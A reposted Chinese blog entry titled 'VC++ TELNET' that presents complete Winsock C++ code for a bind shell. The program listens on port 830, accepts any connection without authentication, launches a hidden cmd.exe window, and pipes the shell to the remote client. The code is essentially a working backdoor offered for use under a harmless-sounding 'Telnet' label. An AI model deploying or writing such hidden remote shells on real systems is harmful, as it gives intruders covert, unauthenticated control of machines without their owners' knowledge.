zoukankan      html  css  js  c++  java
  • [转载]VC++ TELNET

    原文地址:VC++ TELNET作者:酷云
    思路:
    监听**端口,等待连结,远程SHELL!
    实现: 
    初始化SOCKET,然后bind端口,再监听listen,如果有请求,Accept!(利用双管道) 
    提取SHELL.



    以下是具体实现的代码。
    #include <winsock2.h>
    #include <stdio.h>
    #pragma comment (lib,"ws2_32")
    int main()
    {

    WSADATA ws;
    SOCKET listenFD;
    char Buff[1024];
    int ret;
    //初始化wsa
    WSAStartup(MAKEWORD(2,2),&ws);
    //建立socket
    listenFD=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    //监听本机830端口
    struct sockaddr_in server;
    server.sin_family=AF_INET;
    server.sin_port=htons(830);
    server.sin_addr.s_addr=ADDR_ANY;
    ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
    ret=listen(listenFD,2);
    //如果客户请求830端口,接受连接
    int iAddrSize=sizeof(server);
    SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
    SECURITY_ATTRIBUTES pipeattr1,pipeattr2;
    HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
    //建立匿名管道1
    pipeattr1.nLength=12;
    pipeattr1.lpSecurityDescriptor=0;
    pipeattr1.bInheritHandle=true;
    CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);
       //建立匿名管道2
    pipeattr2.nLength=12;
    pipeattr2.lpSecurityDescriptor=0;
    pipeattr2.bInheritHandle=true;
    CreatePipe(&hReadPipe2,&hWritePipe2,&pipeattr2,0);
    STARTUPINFO si;
    ZeroMemory(&si,sizeof(si));
    si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    si.wShowWindow=SW_HIDE;
    si.hStdInput=hReadPipe2;
    si.hStdOutput=si.hStdError=hWritePipe1;
    char cmdLine[]="cmd.exe";
    PROCESS_INFORMATION ProcessInformation;
    //建立进程
    ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
    //这段代码创建了一个CMD.EXE,把cmd.exe的标准输出和标准错误输出用第一个管道的写句柄替换
    //cmd.exe的标准输入用第二个管道的读句柄替换
    //*****如下
    unsigned long lBytesRead;
    while(1)
    {
       //检查管道1,即CMD进程是否有输出
       ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
       if(lBytesRead)
       {
       //管道1有输出,读出数据发送给远程客户机
       ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
       if(!ret) 
         break;
       ret=send(clientFD,Buff,lBytesRead,0);
       if(ret<=0)
         break;
       }
       else
       {
       //否则接受远程客户机的命令
       lBytesRead=recv(clientFD,Buff,1024,0);
       if(lBytesRead<=0)
         break;
       //将命令写入管道2,即传给CMD进程
       ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
       if(!ret)
         break;
       }
    }
    return 0;
    }
  • 相关阅读:
    Search Insert Position——二分法
    Majority Element——算法课上的一道题(经典)
    Max Points on a Line——数学&&Map
    Valid Number——分情况讨论最经典的题(没细看)——这题必须静下心来好好看看
    Sqrt(x)——二分法,防越界
    Ubuntu系统---NVIDIA 驱动安装
    系统---《windows + ubuntu双系统》
    VS---《在VS2010中 使用C++创建和使用DLL》(003)
    VS---《在VS2010中 使用C++创建和使用DLL》(002)
    图像处理---《在图片上打印文字 windows+GDI+TrueType字体》
  • 原文地址:https://www.cnblogs.com/ZHENGJUNupperclassman/p/7754280.html
Copyright © 2011-2022 走看看